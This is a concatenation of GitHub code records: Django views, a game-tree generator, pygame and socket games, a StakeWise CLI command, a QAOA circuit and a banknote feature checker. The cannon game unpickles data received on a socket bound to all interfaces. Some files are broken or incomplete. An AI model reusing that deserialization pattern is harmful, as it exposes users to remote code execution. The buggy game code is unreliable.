list(Healer.objects.filter(modality=modality_id)[:NUM_PROVIDERS-provider_count]))\n\n\tproviders = [p.user for p in providers]\n\tshow_more = provider_count == NUM_PROVIDERS  # just approximate for now\n\n\treturn render_to_response(\"modality/modality_providers.html\", {\n\t\t\"modality\": modality,\n\t\t\"user\": request.user,\n\t\t\"providers\": providers,\n\t\t\"show_more_link\": show_more,\n\t\t\"zipcode\": zipcode\n\t})\n\n\n@user_authenticated\n@permission_required('super_duper_user')\ndef modality_approve(request, modality_id):\n\t\"\"\"\n\tApproves modality by id, for admins only\n\t\"\"\"\n\tmodality = Modality.objects.get(id=modality_id)\n\tmodality.rejected = False\n\tmodality.approved = True\n\tmodality.save()\n\n\tif modality.added_by is not None:\n\t\tcontext = {\n\t\t\t'modality': modality,\n\t\t}\n\t\tmailsender = MailSender(\n\t\t\t'new_modality_accept', modality.added_by.user, **context)\n\t\tmailsender.send_emails()\n\n\treturn redirect('modailty_list')\n\n\n@user_authenticated\n@permission_required('super_duper_user')\ndef modality_reject(request, modality_id):\n\t\"\"\"\n\tApproves modality by id, for admins only\n\t\"\"\"\n\tmodality = Modality.objects.get(id=modality_id)\n\tmodality.rejected = True\n\tmodality.approved = False\n\tmodality.save()\n\n\tif modality.added_by is not None:\n\t\tcontext = {\n\t\t\t'modality': modality,\n\t\t}\n\t\tmailsender = MailSender(\n\t\t\t'new_modality_reject', modality.added_by.user, **context)\n\t\tmailsender.send_emails()\n\n\treturn redirect('modailty_list')\n\n\n@user_authenticated\ndef modality_remove(request, modality_id):\n\tif request.user.is_superuser:\n\t\tModality.objects.get(pk=modality_id).delete()\n\n\treturn redirect('modailty_list')\n","repo_name":"RumorIO/healersource","sub_path":"apps/modality/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41742008061","text":"import datetime\nfrom time import time\n\nimport networkx as nx\n\nfrom src.Util import *\nfrom src.tree.GameLabels import *\nfrom src.tree.TreeState import *\n\n\nclass TreeGenerator:\n    # The TreeGenerator class is responsible for generating a game tree of the desired size starting from the given state\n\n    def __init__(self, state, game=UNKNOWN_GAME, moveDepth=1, treeNodeLimit=100, movesTree=False):\n        self.stateMachine = state  # Starting state\n        self.game = game\n        self.moveDepth = moveDepth\n        self.treeNodeLimit = treeNodeLimit\n        self.movesTree = movesTree  # Boolean variable that determines whether the tree is a regular tree or a move tree\n        self.fileName = self.game[1]\n        self.fileNamePng = \"\"\n        self.fileNameDot = \"\"\n        self.fileNameMl = \"\"\n\n        self.gameTreeML = None\n        self.gameTreeDot = None\n        self.id_counter = None\n        self.numNodes = None\n        self.elapsedTime = None\n        self.maxDepth = 0  # It is calculated and returned as the final result\n        self.reset()\n\n    def reset(self):\n        self.id_counter = 1\n        self.gameTreeDot = self.newTree()\n        self.gameTreeML = self.newTree()\n        self.numNodes = None\n        self.elapsedTime = None\n        self.maxDepth = 0\n\n    def generate(self):\n        # This method is used for generating a regular tree (not move tree)\n        # Graphs are created for dot and graphml formats\n        self.reset()\n        startTime = time()\n        playerNames = getPlayerNames(self.stateMachine)\n        firstTreeState = self.generateTreeState(self.stateMachine, None, 0, playerNames)\n        treeStateQueue = [firstTreeState]\n\n        while treeStateQueue:\n            currentTreeState = treeStateQueue.pop(0)\n            self.addStateToTrees(currentTreeState)\n            currentState = currentTreeState.state\n            if currentState.is_terminal():\n                continue\n            p1, p2 = getPlayers(currentState, playerNames)\n            if self.moveDepth == NO_LIMIT or currentTreeState.depth < self.moveDepth:\n                legalMovesP1 = getLegalMovesForPlayer(currentState, p1)\n                for move in legalMovesP1:\n                    if self.id_counter > self.treeNodeLimit:\n                        continue\n                    currentState.move(p1, move)\n                    legalMovesP2 = getLegalMovesForPlayer(currentState, p2)\n                    currentState.move(p2, legalMovesP2[0])\n                    nextState = currentState.next()\n                    nextTreeState = self.generateTreeState(nextState, move, currentTreeState.depth + 1, playerNames)\n                    treeStateQueue.append(nextTreeState)\n                    self.gameTreeDot.add_edge(currentTreeState.id, nextTreeState.id)\n                    self.gameTreeML.add_edge(currentTreeState.id, nextTreeState.id)\n        self.elapsedTime = time() - startTime\n        self.numNodes = self.id_counter\n\n    def generateWithMoves(self, moveList):\n        # This method is used for generating a move tree\n        # Graphs are created for dot and graphml formats\n        # Starting from the initial state, each move in the move list is added to the tree one by one\n        self.reset()\n        playerNames = getPlayerNames(self.stateMachine)\n        currentState = self.stateMachine\n        currentTreeState = self.generateTreeState(self.stateMachine, None, 0, playerNames)\n        self.addStateToTrees(currentTreeState)\n        for move in moveList:\n            if move == GDL_NO_MOVE:\n                continue\n            p1, p2 = getPlayers(currentState, playerNames)\n            firstParIndex = move.index(\"(\")\n            move = move[firstParIndex:]\n            currentState.move(p1, move)\n            legalMovesP2 = getLegalMovesForPlayer(currentState, p2)\n            currentState.move(p2, legalMovesP2[0])\n            nextState = currentState.next()\n            nextTreeState = self.generateTreeState(nextState, move, currentTreeState.depth + 1, playerNames)\n            self.addStateToTrees(nextTreeState)\n            self.gameTreeDot.add_edge(currentTreeState.id, nextTreeState.id)\n            self.gameTreeML.add_edge(currentTreeState.id, nextTreeState.id)\n            currentState = nextState\n            currentTreeState = nextTreeState\n\n    def newTree(self):\n        # Creates and returns a new tree\n        return nx.DiGraph(directed=True)\n\n    def generateTreeState(self, state, move, depth, playerNames):\n        # Creates a TreeState object using the given state and other information\n        facts = None\n        if self.game[0] != 0:  # If self.game is a known game\n            facts = getNotControlByFacts(state)\n        graphLabel = getLabelForState(self.game[0], facts, move, LABEL_TYPE_GRAPH)\n        isTerminal = state.is_terminal()\n        winner = 0\n        if isTerminal:\n            winner = getWinner(state, playerNames)\n        id = self.id_counter\n        self.id_counter += 1\n        return TreeState(state, id, depth, graphLabel, isTerminal, winner)\n\n    def addStateToTrees(self, s):\n        # Adds the TreeState object to the dot and graphML trees\n        # When adding to the dot tree, determines the color variable using the winner and terminal information\n        if s.winner == 1:\n            color = \"#BA545D\"\n        elif s.winner == 2:\n            color = \"#0570B0\"\n        elif s.isTerminal:\n            color = \"#CCCCCC\"\n        else:\n            color = \"#FFF2AE\"\n        self.gameTreeDot.add_node(s.id, id=s.id, fontname=\"Courier-bold\", fontsize=15,\n                                  shape=\"square\", label=s.graphLabel, color=color, style=\"filled\")\n\n        # When adding to the GraphML tree, determines the stateType variable using the winner and terminal information\n        stateType = 0\n        if s.isTerminal:\n            stateType = 3\n        if s.winner > 0:\n            stateType = s.winner\n\n        if s.depth > self.maxDepth:\n            self.maxDepth = s.depth\n\n        self.gameTreeML.add_node(s.id, name=s.graphLabel, stateType=stateType)\n\n    def createFiles(self):\n        # Converts the dot and GraphML trees into the appropriate formats and saves them as files\n        # Additionally, it converts the object in the dot format into an image and saves it as a PNG file\n        \n        if self.gameTreeDot.number_of_nodes() == 0:\n            print(\"No states!\")\n            return\n\n        if not self.movesTree:\n            time = datetime.datetime.now()\n            fileName = time.strftime(\"%Y%m%d_%H%M%S\") + \"_\" + self.fileName\n\n            if self.moveDepth != NO_LIMIT and self.moveDepth is not None:\n                fileName += \"_\" + str(self.moveDepth)\n        else:\n            fileName = MOVES_TREE_FILE_NAME\n\n        resultFileName = os.path.join(RESULT_FOLDER, fileName)\n\n        self.fileNameDot = resultFileName + \".dot\"\n        self.fileNamePng = resultFileName + \".png\"\n        dot = nx.drawing.nx_pydot.to_pydot(self.gameTreeDot)  # NetworkX -> Dot\n        dot.write(self.fileNameDot)  # Write Dot file\n        print(\"Dot file created : \", self.fileNameDot)\n        try:\n            dot.write_png(self.fileNamePng)  # Save result png\n            print(\"Png file created : \", self.fileNamePng)\n        except:\n            print(\"Exception while creating png file!\")\n\n        # Create GraphML File\n        self.fileNameMl = resultFileName + \".graphml\"\n        nx.write_graphml_lxml(self.gameTreeML, self.fileNameMl)\n        print(\"ML file created : \", self.fileNameMl)\n","repo_name":"berkemuftuoglu/undergraduate_dissertation","sub_path":"src/tree/TreeGenerator.py","file_name":"TreeGenerator.py","file_ext":"py","file_size_in_byte":7481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42656613528","text":"import pygame\nimport random\n\n# Initialize Pygame\npygame.init()\n\n# Set up the screen\nscreen_width = 600\nscreen_height = 600\nscreen = pygame.display.set_mode((screen_width, screen_height))\npygame.display.set_caption(\"My Game\")\n\n# Set up the clock\nclock = pygame.time.Clock()\n\n# Set up the colors\nwhite = (255, 255, 255)\nblack = (0, 0, 0)\nred = (255, 0, 0)\n\n# Set up the fonts\nscore_font = pygame.font.Font(None, 36)\ngame_over_font = pygame.font.Font(None, 72)\n\nclass Player(pygame.sprite.Sprite):\n    def __init__(self, pos):\n        super().__init__()\n        self.image = pygame.image.load(\"/Users/ben/PycharmProjects/pythonProject3/prototype1/graphics/player/galaga.png\")\n        self.rect = self.image.get_rect(topleft=pos)\n        self.direction = pygame.math.Vector2(0, 0)\n        self.speed = 8\n        self.bullets = pygame.sprite.Group()\n        self.firing = False\n\n    def update(self):\n        self.rect.move_ip(self.direction * self.speed)\n\n        if self.rect.left < 0:\n            self.rect.left = 0\n        elif self.rect.right > screen_width:\n            self.rect.right = screen_width\n\n        if self.firing:\n            self.fire()\n\n    def fire(self):\n        bullet_rect = pygame.Rect(self.rect.centerx - 2, self.rect.top, 4, 8)\n        bullet = Bullet(bullet_rect, -10)\n        self.bullets.add(bullet)\n\nclass Bullet(pygame.sprite.Sprite):\n    def __init__(self, rect, speed):\n        super().__init__()\n        self.image = pygame.Surface((4, 8))\n        self.image.fill(red)\n        self.rect = rect\n        self.speed = speed\n\n    def update(self):\n        self.rect.y += self.speed\n\nclass Enemy(pygame.sprite.Sprite):\n    def __init__(self):\n        super().__init__()\n        self.image = pygame.Surface((50, 50))\n        self.image.fill(red)\n        self.rect = self.image.get_rect()\n        self.rect.x = random.randint(0, screen_width - self.rect.width)\n        self.rect.y = -self.rect.height\n        self.speed = random.randint(3, 6)\n        self.dead = False\n\ndef update(self):\n    self.rect.move_ip(0, self.speed)\n\n    if self.rect.top > screen_height:\n        self.dead = True\n\ndef create_enemy():\n    return Enemy()\n\ndef update_enemies():\n    for enemy in enemies:\n        enemy.update()\n\ndef check_collisions(player, enemies, score):\n    for enemy in enemies:\n        if pygame.sprite.collide_rect(player, enemy):\n        # Player collided with an enemy\n            game_over = True\n            return score\n\n    for bullet in player.bullets:\n        if pygame.sprite.collide_rect(bullet, enemy):\n            # Bullet collided with an enemy\n            enemy.dead = True\n            player.bullets.remove(bullet)\n            score += 10\n\n# Remove dead enemies\n    enemies.remove(*[e for e in enemies if e.dead])\n    return score\n\n# Set up the initial game state\ngame_over = False\nscore = 0\n\n# Main game loop\nwhile not game_over:\n    # Handle events\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            game_over = True\n        elif event.type == pygame.KEYDOWN:\n            if event.key == pygame.K_SPACE:\n                player.firing = True\n\n        elif event.type == pygame.KEYUP:\n            if event.key == pygame.K_SPACE:\n                player.firing = False\n\n    # Handle player input\n    Player.direction = pygame.math.Vector2(0, 0)\n\nkeys = pygame.key.get_pressed()\nif keys[pygame.K_LEFT]:\n    player.direction.x = -1\nelif keys[pygame.K_RIGHT]:\n    player.direction.x = 1\n\n# Update game state\nPlayer.update()\n\nif random.randint(1, 60) == 1:\n    enemies.add(create_enemy())\n\nupdate_enemies(enemies)\nscore = check_collisions(player, enemies, score)\n\n# Draw the game\nscreen.fill(white)\n\nscreen.blit(player.image, player.rect)\n\nfor enemy in enemies:\n    if not enemy.dead:\n        screen.blit(enemy.image, enemy.rect)\n\nfor bullet in player.bullets:\n    pygame.draw.rect(screen, black, bullet.rect)\n\nscore_text = score_font.render(f\"Score: {score}\", True, black)\nscreen.blit(score_text, (10, 10))\n\nif game_over:\n    game_over_text = game_over_font.render(\"Game Over\", True, black)\n    screen.blit(game_over_text, (screen_width/2 - game_over_text.get_width()/2, screen_height/2 - game_over_text.get_height()/2))\n\n# Update the display\npygame.display.flip()\n\n# Wait for the next frame\nclock.tick(60)\n\npygame.quit()\n","repo_name":"superhippo9/pythonProject3","sub_path":"prototype1/enemy_module.py","file_name":"enemy_module.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"34330743331","text":"import os\n\nimport click\nfrom eth_typing import ChecksumAddress\n\nfrom stakewise_cli.eth2 import validate_mnemonic\nfrom stakewise_cli.networks import AVAILABLE_NETWORKS, MAINNET\nfrom stakewise_cli.storages.local import LocalStorage\nfrom stakewise_cli.validators import validate_operator_address\n\n\n@click.command(help=\"Synchronizes validator keystores to the local folder\")\n@click.option(\n    \"--network\",\n    default=MAINNET,\n    help=\"The network of ETH2 you are targeting.\",\n    prompt=\"Please choose the network name\",\n    type=click.Choice(\n        AVAILABLE_NETWORKS,\n        case_sensitive=False,\n    ),\n)\n@click.option(\n    \"--operator\",\n    help=\"The operator wallet address specified during deposit data generation.\",\n    prompt=\"Enter your operator wallet address\",\n    callback=validate_operator_address,\n)\n@click.option(\n    \"--folder\",\n    default=os.path.join(os.getcwd(), \"validator_keys\"),\n    help=\"The folder where validator keys will be saved.\",\n    type=click.Path(exists=False, file_okay=False, dir_okay=True),\n)\ndef sync_local(network: str, operator: ChecksumAddress, folder: str) -> None:\n    mnemonic = click.prompt(\n        'Enter your mnemonic separated by spaces (\" \")',\n        value_proc=validate_mnemonic,\n        type=click.STRING,\n    )\n\n    local_storage = LocalStorage(\n        dst_folder=folder,\n        operator=operator,\n        network=network,\n        mnemonic=mnemonic,\n    )\n\n    local_storage.apply_local_changes()\n","repo_name":"stakewise/cli","sub_path":"stakewise_cli/commands/sync_local.py","file_name":"sync_local.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"18717493839","text":"import pygame\nimport time\nimport random\nimport traceback\nimport socket\nimport threading\nimport pickle\nimport pygame.font\n\nclass CannonGame:\n    def __init__(self, width=800, height=600):\n        # Initialize pygame\n        pygame.init()\n\n        # Set screen width and height\n        self.screen_width = width\n        self.screen_height = height\n        self.balls_shot = 0\n\n        # Create the game window\n        try:\n            self.screen = pygame.display.set_mode((self.screen_width, self.screen_height))\n        except pygame.error:\n            traceback.print_exc()\n            pygame.quit()\n            raise SystemExit\n\n        # Create a client or server socket to communicate with another instance of the game\n        self.client_socket = socket.socket()\n\n        try:\n            self.client_socket.connect(('localhost', 8000))\n            print('Connected to server as client...')\n            self.screen_number = 1\n        except socket.error:\n            self.server_socket = socket.socket()\n            self.server_socket.bind(('0.0.0.0', 8000))\n            self.server_socket.listen(1)\n            print('Server started, waiting for a connection...')\n            self.client_socket, address = self.server_socket.accept()\n            print('Connection from', address)\n            self.screen_number = 2\n\n        # Set the connection object to use for communication based on whether this instance is client or server\n        if self.screen_number == 1:\n            self.connection = self.client_socket\n        else:\n            self.connection = self.client_socket\n\n        # Set the window caption\n        pygame.display.set_caption(f\"Cannon Game - Screen {self.screen_number}\")\n\n        # Set up some color constants\n        self.white = (255, 255, 255)\n        self.black = (0, 0, 0)\n        self.red = (255, 0, 0)\n        self.green = (0, 255, 0)\n\n        # Set up some variables for the game objects and their movements\n        self.cannon_width = 50\n        self.cannon_height = 100\n        self.ball_radius = 10\n        self.ball_vel = 7\n\n        # Set the initial position and movement direction of the cannon\n        self.cannon_x = self.screen_width - self.cannon_width\n        self.cannon_y = self.screen_height // 2 - self.cannon_height // 2\n        self.cannon_vel = 6\n\n        # Set up some variables for the ball object and its movement\n        self.reset_ball()\n        self.next_ball_time = time.time() + 3\n\n        # Set up some variables for the paddle object and its movement\n        self.paddle_width = 10\n        self.paddle_height = 80\n        self.paddle_vel = 5\n        self.paddle_x = self.paddle_width\n        self.paddle_y = self.screen_height // 2 - self.paddle_height // 2\n\n        # Set up the game clock and running flag\n        self.clock = pygame.time.Clock()\n        self.running = True\n\n        # Set up the initial scores and the winning score\n        self.player_score = 0\n        self.cannon_score = 0\n        self.winning_score = 3\n\n        # Start a thread to receive data from the other instance of the game\n        threading.Thread(target=self.receive_data, daemon=True).start()\n\n    def get_network_status(self):\n        if self.screen_number == 1:\n            return \"Connected to server\"\n        else:\n            return \"Connected to client\"\n\n    # Handle events, such as the user closing the game window\n    def handle_events(self):\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                self.running = False\n\n    # Draw the current scores on the screens\n    def draw_score(self):\n        # Set up a font object to use for the score text\n        font = pygame.font.Font(None, 36)\n        # Create text surfaces for the player and cannon scores\n        player_score_text = font.render(f\"Player: {self.player_score}\", True, self.black)\n        cannon_score_text = font.render(f\"Cannon: {self.cannon_score}\", True, self.black)\n        # Blit the score text surfaces onto the game window\n        self.screen.blit(player_score_text, (10, 10))\n        self.screen.blit(cannon_score_text, (self.screen_width - 150, 10))\n\n    # Receive and update game data from the other instance of the game\n    def receive_data(self):\n        while self.running:\n            try:\n                data = self.connection.recv(1024)\n                if not data:\n                    break\n                data = pickle.loads(data)\n                self.paddle_y = data[\"paddle_y\"]\n                self.cannon_y = data[\"cannon_y\"]\n                self.ball_x = data[\"ball_x\"]\n                self.ball_y = data[\"ball_y\"]\n                self.ball_dx = data[\"ball_dx\"]\n                self.ball_dy = data[\"ball_dy\"]\n                self.player_score = data[\"player_score\"]\n                self.cannon_score = data[\"cannon_score\"]\n            except:\n                traceback.print_exc()\n                self.running = False\n\n    # Send game data to the other instance of the game\n    def send_data(self):\n        data = {\n            \"paddle_y\": self.paddle_y,\n            \"cannon_y\": self.cannon_y,\n            \"ball_x\": self.ball_x,\n            \"ball_y\": self.ball_y,\n            \"ball_dx\": self.ball_dx,\n            \"ball_dy\": self.ball_dy,\n            \"player_score\": self.player_score,\n            \"cannon_score\": self.cannon_score,\n        }\n        data = pickle.dumps(data)\n        self.connection.sendall(data)\n\n    # Draw the background color on the game window\n    def draw_background(self):\n        self.screen.fill(self.white)\n\n    # Move the cannon up or down and reverse direction if it reaches the top or bottom of the game window\n    def move_cannon(self):\n        self.cannon_y += self.cannon_vel\n        if self.cannon_y <= 0 or self.cannon_y + self.cannon_height >= self.screen_height:\n            self.cannon_vel *= -1\n\n    # Draw the cannon object on the game window, but only on the client's screen\n    def draw_cannon(self):\n        if self.screen_number == 1:\n            pygame.draw.rect(self.screen, self.black, (self.cannon_x, self.cannon_y, self.cannon_width, self.cannon_height))\n\n    # Launch a new ball if enough time has passed since the last one\n    def shoot_ball(self):\n        if time.time() >= self.next_ball_time:\n            self.next_ball_time = time.time() + max(3 - (0.2 * self.balls_shot), 1)\n            self.balls_shot += 1\n            self.paddle_vel = 5 + (0.5 * self.balls_shot)\n\n            self.reset_ball()\n\n    # Check if either player has reached the winning score and display the winner if so\n    def check_winner(self):\n        if self.cannon_score >= self.winning_score:\n            self.display_winner(\"Cannon\")\n\n    # Display the winning player's name on the game window and wait for 10 seconds before restarting the game\n    def display_winner(self, winner):\n        # Display the winning player's name on the game window\n        font = pygame.font.SysFont(None, 48)\n        text = font.render(f\"Winner: {winner}\", True, self.black)\n        text_rect = text.get_rect()\n        text_rect.center = (self.screen_width // 2, self.screen_height // 2)\n        self.screen.blit(text, text_rect)\n        pygame.display.update()\n\n        # Display the countdown message on the screen\n        font = pygame.font.SysFont(None, 36)\n        countdown = 10\n        while countdown >= 0:\n            countdown_text = font.render(f\"Restarting in 10 Seconds... Please Wait !\", True, self.black)\n            countdown_rect = countdown_text.get_rect(center=(self.screen_width // 2, self.screen_height // 2 + 50))\n            self.screen.blit(countdown_text, countdown_rect)\n            pygame.display.update()\n            time.sleep(1)\n            countdown -= 1\n\n        # Reset the game variables\n        self.balls_shot = 0\n        self.player_score = 0\n        self.cannon_score = 0\n        self.reset_ball()\n\n        # Reconnect to the other instance of the game\n        if self.screen_number == 1:\n            self.client_socket = socket.socket()\n            self.client_socket.connect(('localhost', 8000))\n            self.connection = self.client_socket\n        else:\n            self.server_socket.close()\n            self.server_socket = socket.socket()\n            self.server_socket.bind(('0.0.0.0', 8000))\n            self.server_socket.listen(1)\n            self.client_socket, address = self.server_socket.accept()\n            self.connection = self.client_socket\n\n        # Start a thread to receive data from the other instance of the game\n        threading.Thread(target=self.receive_data, daemon=True).start()\n\n    # Move the ball and check for collisions with the paddle or cannon, update the scores accordingly\n    def move_ball(self):\n        self.ball_x += self.ball_dx\n        self.ball_y += self.ball_dy\n        # Reverse the ball's vertical direction if it hits the top or bottom of the game window\n        if self.ball_y - self.ball_radius <= 0 or self.ball_y + self.ball_radius >= self.screen_height:\n            self.ball_dy *= -1\n        # If the ball hits the paddle, reverse its horizontal direction and update the player's score\n        if self.ball_x - self.ball_radius <= self.paddle_width:\n            if self.screen_number == 2:\n                if self.ball_y >= self.paddle_y and self.ball_y <= self.paddle_y + self.paddle_height:\n                    self.ball_dx *= -1\n                    self.player_score += 1\n                    self.send_data()\n                else:\n                    # If the ball misses the paddle, reset it and update the cannon's score\n                    self.ball_x = self.screen_width - self.ball_radius\n                    self.cannon_score += 1\n                    self.send_data()\n        # If the ball hits the cannon, reverse its horizontal direction\n        elif self.ball_x + self.ball_radius >= self.screen_width - self.cannon_width:\n            if self.screen_number == 1:\n                if self.ball_y >= self.cannon_y and self.ball_y <= self.cannon_y + self.cannon_height:\n                    self.ball_dx *= -1\n                else:\n                    # If the ball misses the cannon, reset it and send game data to the other instance\n                    self.reset_ball()\n                    self.send_data()\n\n    # Draw the ball object on the game window, but only on the client's screen\n    def draw_ball(self):\n        if self.screen_number == 1 and self.ball_x - self.ball_radius > 0:\n            pygame.draw.circle(self.screen, self.red, (self.ball_x, self.ball_y), self.ball_radius)\n        elif self.screen_number == 2 and self.ball_x + self.ball_radius < self.screen_width:\n            ball_x_on_screen_2 = self.screen_width - self.ball_radius - (self.screen_width - self.ball_x)\n            pygame.draw.circle(self.screen, self.red, (ball_x_on_screen_2, self.ball_y), self.ball_radius)\n\n    # Move the player's paddle up or down based on user input\n    def move_paddle(self):\n        keys = pygame.key.get_pressed()\n        if keys[pygame.K_UP] and self.paddle_y > 0:\n            self.paddle_y -= self.paddle_vel\n        if keys[pygame.K_DOWN] and self.paddle_y + self.paddle_height < self.screen_height:\n            self.paddle_y += self.paddle_vel\n\n    # Draw the player's paddle object on the game window, but only on the server's screen\n    def draw_paddle(self):\n        if self.screen_number == 2:\n            pygame.draw.rect(self.screen, self.green, (self.paddle_x, self.paddle_y, self.paddle_width, self.paddle_height))\n\n    def update_display(self):\n        # Calculate the current fps\n        fps = self.clock.get_fps()\n\n        # Set up a font object to use for the fps and network status text\n        font = pygame.font.Font(None, 24)\n\n        # Create text surfaces for the fps and network status\n        fps_text = font.render(f\"FPS: {int(fps)}\", True, self.black)\n        network_status_text = font.render(self.get_network_status(), True, self.black)\n\n        # Blit the fps and network status text surfaces onto the game window at the top center and bottom center, respectively\n        fps_rect = fps_text.get_rect(center=(self.screen_width // 2, 10))\n        network_status_rect = network_status_text.get_rect(center=(self.screen_width // 2, self.screen_height - 10))\n        self.screen.blit(fps_text, fps_rect)\n        self.screen.blit(network_status_text, network_status_rect)\n\n        # Draw the current scores\n        self.draw_score()\n\n        # Update the game window display\n        pygame.display.update()\n\n    # Limit the game's frame rate to 60 fps\n    def limit_frame_rate(self):\n        self.clock.tick(60)\n\n    # Reset the ball to its starting position with a random vertical velocity\n    def reset_ball(self):\n        self.ball_dx = -self.ball_vel\n        self.ball_dy = random.randint(-self.ball_vel, self.ball_vel)\n        self.ball_x = self.cannon_x - self.ball_radius\n        self.ball_y = self.cannon_y + self.cannon_height // 2\n\n    # Start a thread to receive data from the other game instance\n    def run(self):\n        # Start a thread to receive data from the other instance of the game\n        threading.Thread(target=self.receive_data, daemon=True).start()\n\n        # Handle game events, update game state, and redraw the game window\n        while self.running:\n            # Handle events, such as the user closing the game window\n            self.handle_events()\n            # Draw the background color on the game window\n            self.draw_background()\n            # Move the cannon up or down and reverse direction if it reaches the top or bottom of the game window\n            self.move_cannon()\n            # Draw the cannon object on the game window, but only on the client's screen\n            self.draw_cannon()\n            # Launch a new ball if enough time has passed since the last one\n            self.shoot_ball()\n            # Move the ball and check for collisions with the paddle or cannon, update the scores accordingly\n            self.move_ball()\n            # Draw the ball object on the game window, but only on the client's screen\n            self.draw_ball()\n            # Move the player's paddle up or down based on user input\n            self.move_paddle()\n            # Draw the player's paddle object on the game window, but only on the server's screen\n            self.draw_paddle()\n            # Draw the current scores on the game window\n            self.draw_score()\n\n            # Check if either player has reached the winning score and display the winner if so\n            if self.player_score >= self.winning_score:\n                self.display_winner(\"Player\")\n            elif self.cannon_score >= self.winning_score:\n                self.display_winner(\"Cannon\")\n\n            # Update the game window display\n            self.update_display()\n\n            # Limit the game's frame rate to 60 fps\n            self.limit_frame_rate()\n\n        # Quit pygame and exit the program\n        pygame.quit()\n        raise SystemExit\n\n# Create a new instance of the CannonGame class and start the game\nif __name__ == \"__main__\":\n    game = CannonGame()\n    game.run()","repo_name":"mesudmehmed/CanonGame-Python","sub_path":"canon.py","file_name":"canon.py","file_ext":"py","file_size_in_byte":15059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21584466158","text":"import random\nimport numpy as np\nfrom qiskit import QuantumCircuit\n\n\ndef H(qc, n):\n    for i in range(n):\n        qc.h(i)\n\n\ndef Cost(qc, V, E, gamma):\n    for _index, (k, l, weight) in enumerate(E):\n        qc.cp(-2 * gamma * weight, k, l)\n        qc.p(gamma * weight, k)\n        qc.p(gamma * weight, l)\n    return qc\n\n\ndef Mixing(qc, V, E, beta):\n    for i in range(len(V)):\n        qc.rx(2 * beta, i)\n    return qc\n\n\ndef CM(qc, V, E, gammas, betas):\n    Cost(qc, V, E, gammas[0])\n    Mixing(qc, V, E, betas[0])\n\n\ndef initQAOA(n):\n    p = 5\n    gammas = [.4]\n    betas = [.8]\n    V = range(n)\n    E = []\n    for _ in range(random.randint(n / 2, n)):\n        sample = random.sample(range(0, n), 2)\n        E.append((sample[0], sample[1], random.random()))\n    return p, gammas, betas, V, E\n\n\ndef QAOA(n):\n    p, gammas, betas, V, E = initQAOA(n)\n    qc = QuantumCircuit(len(V), len(V))\n    H(qc, len(V))\n    for i in range(p):\n        CM(qc, V, E, gammas, betas)\n    return qc\n\n\nqc = QAOA(50)\n","repo_name":"MeU1024/qc-vis","sub_path":"benchmarks/QAOA.py","file_name":"QAOA.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"18199405218","text":"import cv2\n\ndef validate_security_features(image_path):\n    # Load image and convert to grayscale\n    img = cv2.imread(image_path)\n    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n    # Define feature rules and corresponding feature extractors\n    feature_rules = [\n        {\"rule\": \"Watermark of Quaid-e-Azam visible when held against light\", \"extractor\": watermark_extractor},\n        {\"rule\": \"Electrotype Watermark of '20' visible when held against light\", \"extractor\": electrotype_extractor},\n        {\"rule\": \"Micro-Text Security Thread with 'State Bank of Pakistan' and '20' visible in embedded thread\", \"extractor\": anti_scan_extractor},\n        {\"rule\": \"Portrait of Quaid-e-Azam in Sherwani visible on the right side of the note\", \"extractor\": portrait_extractor},\n        {\"rule\": \"Value numeral '20' printed in Urdu appearing partly on obverse left top and partly on reverse right top\", \"extractor\": value_numeral_extractor},\n        {\"rule\": \"Anti-scan and anti-copy line patterns appearing at the note to prevent scanning and photo copying\", \"extractor\": anti_scan_extractor},\n        {\"rule\": \"Hidden image of denomination numeral appears while tilting the note at right side of the portrait of Quaid-e-Azam\", \"extractor\": hidden_image_extractor},\n        {\"rule\": \"Raised line for visually impaired people appears on left side of the note\", \"extractor\": raised_line_extractor},\n        {\"rule\": \"Intaglio Lines appear at extreme right and left sides of the note\", \"extractor\": intaglio_extractor}\n    ]\n\n    # Loop through each feature rule and extract the corresponding feature\n    for rule in feature_rules:\n        result = cv2.matchTemplate(gray, rule[\"extractor\"], cv2.TM_CCOEFF_NORMED)\n        _, max_val, _, _ = cv2.minMaxLoc(result)\n        if max_val < 0.8:\n            rule[\"value\"] = False\n        else:\n            rule[\"value\"] = True\n\n    # Return the validation results\n    return feature_rules\n","repo_name":"MFaiqKhan/AI-Lab-","sub_path":"inferenceengine2.py","file_name":"inferenceengine2.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
